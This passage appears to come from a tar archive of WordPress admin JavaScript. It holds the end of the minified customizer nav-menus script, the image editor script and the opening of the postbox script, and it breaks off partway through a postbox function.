t=[],n=this.params.menu_id;return u.control.each(function(e){"nav_menu_item"===e.params.type&&e.setting()&&n===e.setting().nav_menu_term_id&&t.push(e)}),t},reflowMenuItems:function(){var e=this.getMenuItemControls(),a=function(n){var t=[],i=n.currentParent;_.each(n.menuItemControls,function(e){i===e.setting().menu_item_parent&&t.push(e)}),t.sort(function(e,t){return e.setting().position-t.setting().position}),_.each(t,function(t){n.currentAbsolutePosition+=1,t.priority.set(n.currentAbsolutePosition),t.container.hasClass("menu-item-depth-"+String(n.currentDepth))||(_.each(t.container.prop("className").match(/menu-item-depth-\d+/g),function(e){t.container.removeClass(e)}),t.container.addClass("menu-item-depth-"+String(n.currentDepth))),t.container.data("item-depth",n.currentDepth),n.currentDepth+=1,n.currentParent=t.params.menu_item_id,a(n),--n.currentDepth,n.currentParent=i}),t.length&&(_(t).each(function(e){e.container.removeClass("move-up-disabled move-down-disabled move-left-disabled move-right-disabled"),0===n.currentDepth?e.container.addClass("move-left-disabled"):10===n.currentDepth&&e.container.addClass("move-right-disabled")}),t[0].container.addClass("move-up-disabled").addClass("move-right-disabled").toggleClass("move-down-disabled",1===t.length),t[t.length-1].container.addClass("move-down-disabled").toggleClass("move-up-disabled",1===t.length))};a({menuItemControls:e,currentParent:0,currentDepth:0,currentAbsolutePosition:0}),this.updateInvitationVisibility(e),this.container.find(".reorder-toggle").toggle(1<e.length)},debouncedReflowMenuItems:_.debounce(function(){this.reflowMenuItems.apply(this,arguments)},0),addItemToMenu:function(e){var t,n,i,a=0,o=10,s=e.id||"";return _.each(this.getMenuItemControls(),function(e){!1!==e.setting()&&(o=Math.max(o,e.priority()),0===e.setting().menu_item_parent)&&(a=Math.max(a,e.setting().position))}),a+=1,o+=1,delete(e=m.extend({},u.Menus.data.defaultSettingValues.nav_menu_item,e,{nav_menu_term_id:this.params.menu_id,position:a})).id,i=u.Menus.generatePlaceholderAutoIncrementId(),t="nav_menu_item["+String(i)+"]",n={type:"nav_menu_item",transport:u.Menus.data.settingTransport,previewer:u.previewer},(n=u.create(t,t,{},n)).set(e),e=new u.controlConstructor.nav_menu_item(t,{type:"nav_menu_item",section:this.id,priority:o,settings:{default:t},menu_item_id:i,original_item_id:s}),u.control.add(e),n.preview(),this.debouncedReflowMenuItems(),l.a11y.speak(u.Menus.data.l10n.itemAdded),e},updateInvitationVisibility:function(e){e=e||this.getMenuItemControls();this.container.find(".new-menu-item-invitation").toggle(0===e.length)}}),m.extend(u.controlConstructor,{nav_menu_location:u.Menus.MenuLocationControl,nav_menu_item:u.Menus.MenuItemControl,nav_menu:u.Menus.MenuControl,nav_menu_name:u.Menus.MenuNameControl,nav_menu_locations:u.Menus.MenuLocationsControl,nav_menu_auto_add:u.Menus.MenuAutoAddControl}),m.extend(u.panelConstructor,{nav_menus:u.Menus.MenusPanel}),m.extend(u.sectionConstructor,{nav_menu:u.Menus.MenuSection,new_menu:u.Menus.NewMenuSection}),u.bind("ready",function(){u.Menus.availableMenuItemsPanel=new u.Menus.AvailableMenuItemsPanelView({collection:u.Menus.availableMenuItems}),u.bind("saved",function(e){(e.nav_menu_updates||e.nav_menu_item_updates)&&u.Menus.applySavedData(e)}),u.state("changesetStatus").bind(function(e){"publish"===e&&(u("nav_menus_created_posts")._value=[])}),u.previewer.bind("focus-nav-menu-item-control",u.Menus.focusMenuItemControl)}),u.Menus.applySavedData=function(e){var c={},r={};_(e.nav_menu_updates).each(function(n){var e,t,i,a,o,s,r,d;if("inserted"===n.status){if(!n.previous_term_id)throw new Error("Expected previous_term_id");if(!n.term_id)throw new Error("Expected term_id");if(e="nav_menu["+String(n.previous_term_id)+"]",!u.has(e))throw new Error("Expected setting to exist: "+e);if(i=u(e),!u.section.has(e))throw new Error("Expected control to exist: "+e);if(o=u.section(e),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");s=m.extend(_.clone(s),n.saved_value),c[n.previous_term_id]=n.term_id,a="nav_menu["+String(n.term_id)+"]",t=u.create(a,a,s,{type:"nav_menu",transport:u.Menus.data.settingTransport,previewer:u.previewer}),(d=o.expanded())&&o.collapse(),a=new u.Menus.MenuSection(a,{panel:"nav_menus",title:s.name,customizeAction:u.Menus.data.l10n.customizingMenus,type:"nav_menu",priority:o.priority.get(),menu_id:n.term_id}),u.section.add(a),u.control.each(function(e){var t;e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(t=(e=e.container.find("select")).find("option[value="+String(n.previous_term_id)+"]"),e.find("option[value="+String(n.term_id)+"]").prop("selected",t.prop("selected")),t.remove())}),i.callbacks.disable(),i.set(!1),i.preview(),t.preview(),i._dirty=!1,o.container.remove(),u.section.remove(e),r=0,u.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(r+=1)}),(s=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==r),s.find(".nav-menu-widget-no-menus-message:first").toggle(0===r),s.find("option[value="+String(n.previous_term_id)+"]").remove(),l.customize.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+String(n.previous_term_id)+"]").remove()}),u.each(function(e){var t=u.state("saved").get();/^nav_menu_locations\[/.test(e.id)&&e.get()===n.previous_term_id&&(e.set(n.term_id),e._dirty=!1,u.state("saved").set(t),e.preview())}),d&&a.expand()}else if("updated"===n.status){if(t="nav_menu["+String(n.term_id)+"]",!u.has(t))throw new Error("Expected setting to exist: "+t);i=u(t),_.isEqual(n.saved_value,i.get())||(o=u.state("saved").get(),i.set(n.saved_value),i._dirty=!1,u.state("saved").set(o))}}),_(e.nav_menu_item_updates).each(function(e){e.previous_post_id&&(r[e.previous_post_id]=e.post_id)}),_(e.nav_menu_item_updates).each(function(e){var t,n,i,a,o,s;if("inserted"===e.status){if(!e.previous_post_id)throw new Error("Expected previous_post_id");if(!e.post_id)throw new Error("Expected post_id");if(t="nav_menu_item["+String(e.previous_post_id)+"]",!u.has(t))throw new Error("Expected setting to exist: "+t);if(i=u(t),!u.control.has(t))throw new Error("Expected control to exist: "+t);if(o=u.control(t),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");if((s=_.clone(s)).menu_item_parent<0){if(!r[s.menu_item_parent])throw new Error("inserted ID for menu_item_parent not available");s.menu_item_parent=r[s.menu_item_parent]}c[s.nav_menu_term_id]&&(s.nav_menu_term_id=c[s.nav_menu_term_id]),n="nav_menu_item["+String(e.post_id)+"]",a=u.create(n,n,s,{type:"nav_menu_item",transport:u.Menus.data.settingTransport,previewer:u.previewer}),s=new u.controlConstructor.nav_menu_item(n,{type:"nav_menu_item",menu_id:e.post_id,section:"nav_menu["+String(s.nav_menu_term_id)+"]",priority:o.priority.get(),settings:{default:n},menu_item_id:e.post_id}),o.container.remove(),u.control.remove(t),u.control.add(s),i.callbacks.disable(),i.set(!1),i.preview(),a.preview(),i._dirty=!1,s.container.toggleClass("menu-item-edit-inactive",o.container.hasClass("menu-item-edit-inactive"))}}),_.each(e.widget_nav_menu_updates,function(e,t){t=u(t);t&&(t._value=e,t.preview())})},u.Menus.focusMenuItemControl=function(e){e=u.Menus.getMenuItemControl(e);e&&e.focus()},u.Menus.getMenuControl=function(e){return u.control("nav_menu["+e+"]")},u.Menus.getMenuItemControl=function(e){return u.control("nav_menu_item["+e+"]")}}(wp.customize,wp,jQuery); image-edit.min.js 0000644 00000036233 15222552267 0007710 0 ustar 00 /*! This file is auto-generated */ !function(c){var s=wp.i18n.__,d=window.imageEdit={iasapi:{},hold:{},postid:"",_view:!1,toggleCropTool:function(t,i,e){var a,o,r,n=c("#image-preview-"+t),s=this.iasapi.getSelection();d.toggleControls(e),"false"==("true"===c(e).attr("aria-expanded")?"true":"false")?(this.iasapi.cancelSelection(),d.setDisabled(c(".imgedit-crop-clear"),0)):(d.setDisabled(c(".imgedit-crop-clear"),1),e=c("#imgedit-start-x-"+t).val()?c("#imgedit-start-x-"+t).val():0,a=c("#imgedit-start-y-"+t).val()?c("#imgedit-start-y-"+t).val():0,o=c("#imgedit-sel-width-"+t).val()?c("#imgedit-sel-width-"+t).val():n.innerWidth(),r=c("#imgedit-sel-height-"+t).val()?c("#imgedit-sel-height-"+t).val():n.innerHeight(),isNaN(s.x1)&&(this.setCropSelection(t,{x1:e,y1:a,x2:o,y2:r,width:o,height:r}),s=this.iasapi.getSelection()),0===s.x1&&0===s.y1&&0===s.x2&&0===s.y2?this.iasapi.setSelection(0,0,n.innerWidth(),n.innerHeight(),!0):this.iasapi.setSelection(e,a,o,r,!0),this.iasapi.setOptions({show:!0}),this.iasapi.update())},handleCropToolClick:function(t,i,e){e.classList.contains("imgedit-crop-clear")?(this.iasapi.cancelSelection(),d.setDisabled(c(".imgedit-crop-apply"),0),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val("")):d.crop(t,i,e)},intval:function(t){return 0|t},setDisabled:function(t,i){i?t.removeClass("disabled").prop("disabled",!1):t.addClass("disabled").prop("disabled",!0)},init:function(e){var t=this,i=c("#image-editor-"+t.postid);t.postid!==e&&i.length&&t.close(t.postid),t.hold.sizer=parseFloat(c("#imgedit-sizer-"+e).val()),t.postid=e,c("#imgedit-response-"+e).empty(),c("#imgedit-panel-"+e).on("keypress",function(t){var i=c("#imgedit-nonce-"+e).val();26===t.which&&t.ctrlKey&&d.undo(e,i),25===t.which&&t.ctrlKey&&d.redo(e,i)}),c("#imgedit-panel-"+e).on("keypress",'input[type="text"]',function(t){var i=t.keyCode;if(36<i&&i<41&&c(this).trigger("blur"),13===i)return t.preventDefault(),t.stopPropagation(),!1}),c(document).on("image-editor-ui-ready",this.focusManager)},calculateImgSize:function(t){var i=this,e=i.intval(c("#imgedit-x-"+t).val()),a=i.intval(c("#imgedit-y-"+t).val());i.hold.w=i.hold.ow=e,i.hold.h=i.hold.oh=a,i.hold.xy_ratio=e/a,i.hold.sizer=parseFloat(c("#imgedit-sizer-"+t).val()),i.currentCropSelection=null},toggleEditor:function(t,i,e){t=c("#imgedit-wait-"+t);i?t.fadeIn("fast"):t.fadeOut("fast",function(){e&&c(document).trigger("image-editor-ui-ready")})},togglePopup:function(t){var i=c(t),t=c(t).attr("aria-controls"),t=c("#"+t);return i.attr("aria-expanded","false"===i.attr("aria-expanded")?"true":"false"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast").css({"z-index":2e5}),"true"===i.attr("aria-expanded")&&t.find("button").first().trigger("focus"),!1},monitorPopup:function(){var e=document.querySelector(".imgedit-rotate-menu-container"),a=document.querySelector(".imgedit-rotate-menu-container .imgedit-rotate");return setTimeout(function(){var t=document.activeElement,i=e.contains(t);t&&!i&&"true"===a.getAttribute("aria-expanded")&&d.togglePopup(a)},100),!1},browsePopup:function(t,i){var e=c(i),i=c(i).parent(".imgedit-popup-menu").find("button"),e=i.index(e),a=e-1,e=e+1,o=i.length,o=(a<0&&(a=o-1),e===o&&(e=0),!1);return 40===t.keyCode?o=i.get(e):38===t.keyCode&&(o=i.get(a)),o&&(o.focus(),t.preventDefault()),!1},closePopup:function(t){var t=c(t).parent(".imgedit-popup-menu"),i=t.attr("id");return c('button[aria-controls="'+i+'"]').attr("aria-expanded","false").trigger("focus"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast"),!1},toggleHelp:function(t){t=c(t);return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false").parents(".imgedit-group-top").toggleClass("imgedit-help-toggled").find(".imgedit-help").slideToggle("fast"),!1},toggleControls:function(t){var t=c(t),i=c("#"+t.attr("aria-controls"));return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false"),i.parent(".imgedit-group").toggleClass("imgedit-panel-active"),!1},getTarget:function(t){var i=c("#imgedit-save-target-"+t);return i.length?i.find('input[name="imgedit-target-'+t+'"]:checked').val()||"full":"all"},scaleChanged:function(t,i,e){var a=c("#imgedit-scale-width-"+t),o=c("#imgedit-scale-height-"+t),t=c("#imgedit-scale-warn-"+t),r="",n="",s=c("#imgedit-scale-button");!1!==this.validateNumeric(e)&&(i?(n=""!==a.val()?Math.round(a.val()/this.hold.xy_ratio):"",o.val(n)):(r=""!==o.val()?Math.round(o.val()*this.hold.xy_ratio):"",a.val(r)),n&&n>this.hold.oh||r&&r>this.hold.ow?(t.css("visibility","visible"),s.prop("disabled",!0)):(t.css("visibility","hidden"),s.prop("disabled",!1)))},getSelRatio:function(t){var i=this.hold.w,e=this.hold.h,a=this.intval(c("#imgedit-crop-width-"+t).val()),t=this.intval(c("#imgedit-crop-height-"+t).val());return a&&t?a+":"+t:i&&e?i+":"+e:"1:1"},filterHistory:function(t,i){var e,a,o,r=c("#imgedit-history-"+t).val(),n=[];if(""===r)return"";if(r=JSON.parse(r),0<(e=this.intval(c("#imgedit-undone-"+t).val())))for(;0<e;)r.pop(),e--;if(i){if(!r.length)return this.hold.w=this.hold.ow,this.hold.h=this.hold.oh,"";(t=(t=r[r.length-1]).c||t.r||t.f||!1)&&(this.hold.w=t.fw,this.hold.h=t.fh)}for(a in r)(o=r[a]).hasOwnProperty("c")?n[a]={c:{x:o.c.x,y:o.c.y,w:o.c.w,h:o.c.h,r:o.c.r}}:o.hasOwnProperty("r")?n[a]={r:o.r.r}:o.hasOwnProperty("f")&&(n[a]={f:o.f.f});return JSON.stringify(n)},refreshEditor:function(o,t,r){var n,i=this;i.toggleEditor(o,1),t={action:"imgedit-preview",_ajax_nonce:t,postid:o,history:i.filterHistory(o,1),rand:i.intval(1e6*Math.random())},n=c('<img id="image-preview-'+o+'" alt="" />').on("load",{history:t.history},function(t){var i=c("#imgedit-crop-"+o),e=d,a=(""!==t.data.history&&(t=JSON.parse(t.data.history))[t.length-1].hasOwnProperty("c")&&(e.setDisabled(c("#image-undo-"+o),!0),c("#image-undo-"+o).trigger("focus")),i.empty().append(n),t=Math.max(e.hold.w,e.hold.h),a=Math.max(c(n).width(),c(n).height()),e.hold.sizer=a<t?a/t:1,e.initCrop(o,n,i),null!=r&&r(),c("#imgedit-history-"+o).val()&&"0"===c("#imgedit-undone-"+o).val()?c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!1):c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!0),s("Image updated."));e.toggleEditor(o,0),wp.a11y.speak(a,"assertive")}).on("error",function(){var t=s("Could not load the preview image. Please reload the page and try again.");c("#imgedit-crop-"+o).empty().append('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t+"</p></div>"),i.toggleEditor(o,0,!0),wp.a11y.speak(t,"assertive")}).attr("src",ajaxurl+"?"+c.param(t))},action:function(i,t,e){var a,o,r,n,s=this;if(s.notsaved(i))return!1;if(t={action:"image-editor",_ajax_nonce:t,postid:i},"scale"===e){if(a=c("#imgedit-scale-width-"+i),o=c("#imgedit-scale-height-"+i),r=s.intval(a.val()),n=s.intval(o.val()),r<1)return a.trigger("focus"),!1;if(n<1)return o.trigger("focus"),!1;if(r===s.hold.ow||n===s.hold.oh)return!1;t.do="scale",t.fwidth=r,t.fheight=n}else{if("restore"!==e)return!1;t.do="restore"}s.toggleEditor(i,1),c.post(ajaxurl,t,function(t){c("#image-editor-"+i).empty().append(t.data.html),s.toggleEditor(i,0,!0),s._view&&s._view.refresh()}).done(function(t){t&&t.data.message.msg?wp.a11y.speak(t.data.message.msg):t&&t.data.message.error&&wp.a11y.speak(t.data.message.error)})},save:function(i,t){var e=this.getTarget(i),a=this.filterHistory(i,0),o=this;if(""===a)return!1;this.toggleEditor(i,1),t={action:"image-editor",_ajax_nonce:t,postid:i,history:a,target:e,context:c("#image-edit-context").length?c("#image-edit-context").val():null,do:"save"},c.post(ajaxurl,t,function(t){t.data.error?(c("#imgedit-response-"+i).html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t.data.error+"</p></div>"),d.close(i),wp.a11y.speak(t.data.error)):(t.data.fw&&t.data.fh&&c("#media-dims-"+i).html(t.data.fw+" × "+t.data.fh),t.data.thumbnail&&c(".thumbnail","#thumbnail-head-"+i).attr("src",""+t.data.thumbnail),t.data.msg&&(c("#imgedit-response-"+i).html('<div class="notice notice-success" tabindex="-1" role="alert"><p>'+t.data.msg+"</p></div>"),wp.a11y.speak(t.data.msg)),o._view?o._view.save():d.close(i))})},open:function(e,t,i){this._view=i;var a=c("#image-editor-"+e),o=c("#media-head-"+e),r=c("#imgedit-open-btn-"+e),n=r.siblings(".spinner");if(!r.hasClass("button-activated"))return n.addClass("is-active"),c.ajax({url:ajaxurl,type:"post",data:{action:"image-editor",_ajax_nonce:t,postid:e,do:"open"},beforeSend:function(){r.addClass("button-activated")}}).done(function(t){var i;"-1"===t&&(i=s("Could not load the preview image."),a.html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+i+"</p></div>")),t.data&&t.data.html&&a.html(t.data.html),o.fadeOut("fast",function(){a.fadeIn("fast",function(){i&&c(document).trigger("image-editor-ui-ready")}),r.removeClass("button-activated"),n.removeClass("is-active")}),d.init(e)})},imgLoaded:function(t){var i=c("#image-preview-"+t),e=c("#imgedit-crop-"+t);void 0===this.hold.sizer&&this.init(t),this.calculateImgSize(t),this.initCrop(t,i,e),this.setCropSelection(t,{x1:0,y1:0,x2:0,y2:0,width:i.innerWidth(),height:i.innerHeight()}),this.toggleEditor(t,0,!0)},focusManager:function(){setTimeout(function(){var t=c('.notice[role="alert"]');(t=t.length?t:c(".imgedit-wrap").find(":tabbable:first")).attr("tabindex","-1").trigger("focus")},100)},initCrop:function(r,t,i){var n=this,o=c("#imgedit-sel-width-"+r),s=c("#imgedit-sel-height-"+r),t=c(t);t.data("imgAreaSelect")||(n.iasapi=t.imgAreaSelect({parent:i,instance:!0,handles:!0,keys:!0,minWidth:3,minHeight:3,onInit:function(t){c(t).next().css("position","absolute").nextAll(".imgareaselect-outer").css("position","absolute"),i.children().on("mousedown touchstart",function(t){var i=!1,e=n.iasapi.getSelection(),a=n.intval(c("#imgedit-crop-width-"+r).val()),o=n.intval(c("#imgedit-crop-height-"+r).val());a&&o?i=n.getSelRatio(r):t.shiftKey&&e&&e.width&&e.height&&(i=e.width+":"+e.height),n.iasapi.setOptions({aspectRatio:i})})},onSelectStart:function(){d.setDisabled(c("#imgedit-crop-sel-"+r),1),d.setDisabled(c(".imgedit-crop-clear"),1),d.setDisabled(c(".imgedit-crop-apply"),1)},onSelectEnd:function(t,i){d.setCropSelection(r,i),c("#imgedit-crop > *").is(":visible")||d.toggleControls(c(".imgedit-crop.button"))},onSelectChange:function(t,i){var e=d.hold.sizer,a=d.currentCropSelection;null!=a&&a.width==i.width&&a.height==i.height||(o.val(Math.min(d.hold.w,d.round(i.width/e))),s.val(Math.min(d.hold.h,d.round(i.height/e))),n.currentCropSelection=i)}}))},setCropSelection:function(t,i){var e=c("#imgedit-sel-width-"+t),a=c("#imgedit-sel-height-"+t),o=this.hold.sizer,r=this.hold;if(!(i=i||0)||i.width<3&&i.height<3)return this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),this.setDisabled(c("#imgedit-crop-sel-"+t),1),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val(""),!1;var n=r.w-(Math.round(i.x1/o)+parseInt(e.val())),r=r.h-(Math.round(i.y1/o)+parseInt(a.val())),n={r:1,x:Math.round(i.x1/o)+Math.min(0,n),y:Math.round(i.y1/o)+Math.min(0,r),w:e.val(),h:a.val()};this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),c("#imgedit-selection-"+t).val(JSON.stringify(n))},close:function(t,i){if((i=i||!1)&&this.notsaved(t))return!1;this.iasapi={},this.hold={},this._view?this._view.back():c("#image-editor-"+t).fadeOut("fast",function(){c("#media-head-"+t).fadeIn("fast",function(){c("#imgedit-open-btn-"+t).trigger("focus")}),c(this).empty()})},notsaved:function(t){var i=c("#imgedit-history-"+t).val(),i=""!==i?JSON.parse(i):[];return this.intval(c("#imgedit-undone-"+t).val())<i.length&&!confirm(c("#imgedit-leaving-"+t).text())},addStep:function(t,i,e){for(var a=this,o=c("#imgedit-history-"+i),r=""!==o.val()?JSON.parse(o.val()):[],n=c("#imgedit-undone-"+i),s=a.intval(n.val());0<s;)r.pop(),s--;n.val(0),r.push(t),o.val(JSON.stringify(r)),a.refreshEditor(i,e,function(){a.setDisabled(c("#image-undo-"+i),!0),a.setDisabled(c("#image-redo-"+i),!1)})},rotate:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({r:{r:t,fw:this.hold.h,fh:this.hold.w}},i,e),c("#imgedit-sel-width-"+i).val(""),c("#imgedit-sel-height-"+i).val(""),this.currentCropSelection=null},flip:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({f:{f:t,fw:this.hold.w,fh:this.hold.h}},i,e),c("#imgedit-sel-width-"+i).val(""),c("#imgedit-sel-height-"+i).val(""),this.currentCropSelection=null},crop:function(t,i,e){var a=c("#imgedit-selection-"+t).val(),o=this.intval(c("#imgedit-sel-width-"+t).val()),r=this.intval(c("#imgedit-sel-height-"+t).val());if(c(e).hasClass("disabled")||""===a)return!1;0<(a=JSON.parse(a)).w&&0<a.h&&0<o&&0<r&&(a.fw=o,a.fh=r,this.addStep({c:a},t,i)),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),this.currentCropSelection=null},undo:function(i,t){var e=this,a=c("#image-undo-"+i),o=c("#imgedit-undone-"+i),r=e.intval(o.val())+1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(i,t,function(){var t=c("#imgedit-history-"+i),t=""!==t.val()?JSON.parse(t.val()):[];e.setDisabled(c("#image-redo-"+i),!0),e.setDisabled(a,r<t.length),t.length===r&&c("#image-redo-"+i).trigger("focus")}))},redo:function(t,i){var e=this,a=c("#image-redo-"+t),o=c("#imgedit-undone-"+t),r=e.intval(o.val())-1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(t,i,function(){e.setDisabled(c("#image-undo-"+t),!0),e.setDisabled(a,0<r),0==r&&c("#image-undo-"+t).trigger("focus")}))},setNumSelection:function(t,i){var e=c("#imgedit-sel-width-"+t),a=c("#imgedit-sel-height-"+t),o=c("#imgedit-start-x-"+t),r=c("#imgedit-start-y-"+t),o=this.intval(o.val()),r=this.intval(r.val()),n=this.intval(e.val()),s=this.intval(a.val()),d=c("#image-preview-"+t),l=d.height(),d=d.width(),h=this.hold.sizer,g=this.iasapi;if(this.currentCropSelection=null,!1!==this.validateNumeric(i))return n<1?(e.val(""),!1):s<1?(a.val(""),!1):void((n&&s||o&&r)&&(i=g.getSelection())&&(n=i.x1+Math.round(n*h),s=i.y1+Math.round(s*h),o=o===i.x1?i.x1:Math.round(o*h),i=r===i.y1?i.y1:Math.round(r*h),d<n&&(o=0,n=d,e.val(Math.min(this.hold.w,Math.round(n/h)))),l<s&&(i=0,s=l,a.val(Math.min(this.hold.h,Math.round(s/h)))),g.setSelection(o,i,n,s),g.update(),this.setCropSelection(t,g.getSelection()),this.currentCropSelection=g.getSelection()))},round:function(t){var i;return t=Math.round(t),.6<this.hold.sizer?t:"1"===(i=t.toString().slice(-1))?t-1:"9"===i?t+1:t},setRatioSelection:function(t,i,e){var a=this.intval(c("#imgedit-crop-width-"+t).val()),o=this.intval(c("#imgedit-crop-height-"+t).val()),r=c("#image-preview-"+t).height();!1===this.validateNumeric(e)?this.iasapi.setOptions({aspectRatio:null}):a&&o&&(this.iasapi.setOptions({aspectRatio:a+":"+o}),e=this.iasapi.getSelection(!0))&&(r<(a=Math.ceil(e.y1+(e.x2-e.x1)/(a/o)))?(a=r,o=s("Selected crop ratio exceeds the boundaries of the image. Try a different ratio."),c("#imgedit-crop-"+t).prepend('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+o+"</p></div>"),wp.a11y.speak(o,"assertive"),c(i?"#imgedit-crop-height-"+t:"#imgedit-crop-width-"+t).val("")):void 0!==(r=c("#imgedit-crop-"+t).find(".notice-error"))&&r.remove(),this.iasapi.setSelection(e.x1,e.y1,e.x2,a),this.iasapi.update())},validateNumeric:function(t){if(!1===this.intval(c(t).val()))return c(t).val(""),!1}}}(jQuery); postbox.js 0000644 00000044771 15222552267 0006625 0 ustar 00 /** * Contains the postboxes logic, opening and closing postboxes, reordering and saving * the state and ordering to the database. * * @since 2.5.0 * @requires jQuery * @output wp-admin/js/postbox.js */ /* global ajaxurl, postboxes */ (function($) { var $document = $( document ), __ = wp.i18n.__; /** * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see * around the content on the edit page. * * @since 2.7.0 * * @namespace postboxes * * @type {Object} */ window.postboxes = { /** * Handles a click on either the postbox heading or the postbox open/close icon. * * Opens or closes the postbox. Expects `this` to equal the clicked element. * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide * if the postbox has been closed. * * @since 4.4.0 * * @memberof postboxes * * @fires postboxes#postbox-toggled * * @return {void} */ handle_click : function () { var $el = $( this ), p = $el.closest( '.postbox' ), id = p.attr( 'id' ), ariaExpandedValue; if ( 'dashboard_browser_nag' === id ) { return; } p.toggleClass( 'closed' ); ariaExpandedValue = ! p.hasClass( 'closed' ); if ( $el.hasClass( 'handlediv' ) ) { // The handle button was clicked. $el.attr( 'aria-expanded', ariaExpandedValue ); } else { // The handle heading was clicked. $el.closest( '.postbox' ).find( 'button.handlediv' ) .attr( 'aria-expanded', ariaExpandedValue ); } if ( postboxes.page !== 'press-this' ) { postboxes.save_state( postboxes.page ); } if ( id ) { if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( id ); } else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( id ); } } /** * Fires when a postbox has been opened or closed. * * Contains a jQuery object with the relevant postbox element. * * @since 4.0.0 * @ignore * * @event postboxes#postbox-toggled * @type {Object} */ $document.trigger( 'postbox-toggled', p ); }, /** * Handles clicks on the move up/down buttons. * * @since 5.5.0 * * @return {void} */ handleOrder: function() { var button = $( this ), postbox = button.closest( '.postbox' ), postboxId = postbox.attr( 'id' ), postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ), postboxesWithinSortablesCount = postboxesWithinSortables.length, postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ), firstOrLastPositionMessage; if ( 'dashboard_browser_nag' === postboxId ) { return; } // If on the first or last position, do nothing and send an audible message to screen reader users. if ( 'true' === button.attr( 'aria-disabled' ) ) { firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ? __( 'The box is on the first position' ) : __( 'The box is on the last position' ); wp.a11y.speak( firstOrLastPositionMessage ); return; } // Move a postbox up. if ( button.hasClass( 'handle-order-higher' ) ) { // If the box is first within a sortable area, move it to the previous sortable area. if ( 0 === postboxWithinSortablesIndex ) { postboxes.handleOrderBetweenSortables( 'previous', button, postbox ); return; } postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } // Move a postbox down. if ( button.hasClass( 'handle-order-lower' ) ) { // If the box is last within a sortable area, move it to the next sortable area. if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) { postboxes.handleOrderBetweenSortables( 'next', button, postbox ); return; } postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } }, /** * Moves postboxes between the sortables areas. * * @since 5.5.0 * * @param {string} position The "previous" or "next" sortables area. * @param {Object} button The jQuery object representing the button that was clicked. * @param {Object} postbox The jQuery object representing the postbox to be moved. * * @return {void} */ handleOrderBetweenSortables: function( position, button, postbox ) { var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ), sortablesIds = [], sortablesIndex, detachedPostbox; // Get the list of sortables within the page. $( '.meta-box-sortables:visible' ).each( function() { sortablesIds.push( $( this ).attr( 'id' ) ); }); // Return if there's only one visible sortables area, e.g. in the block editor page. if ( 1 === sortablesIds.length ) { return; } // Find the index of the current sortables area within all the sortable areas. sortablesIndex = $.inArray( closestSortablesId, sortablesIds ); // Detach the postbox to be moved. detachedPostbox = postbox.detach(); // Move the detached postbox to its new position. if ( 'previous' === position ) { $( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] ); } if ( 'next' === position ) { $( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] ); } postboxes._mark_area(); button.focus(); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); }, /** * Update the move buttons properties depending on the postbox position. * * @since 5.5.0 * * @return {void} */ updateOrderButtonsProperties: function() { var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ), lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ), firstPostbox = $( '.postbox:visible:first' ), lastPostbox = $( '.postbox:visible:last' ), firstPostboxId = firstPostbox.attr( 'id' ), lastPostboxId = lastPostbox.attr( 'id' ), firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), moveUpButtons = $( '.handle-order-higher' ), moveDownButtons = $( '.handle-order-lower' ); // Enable all buttons as a reset first. moveUpButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); 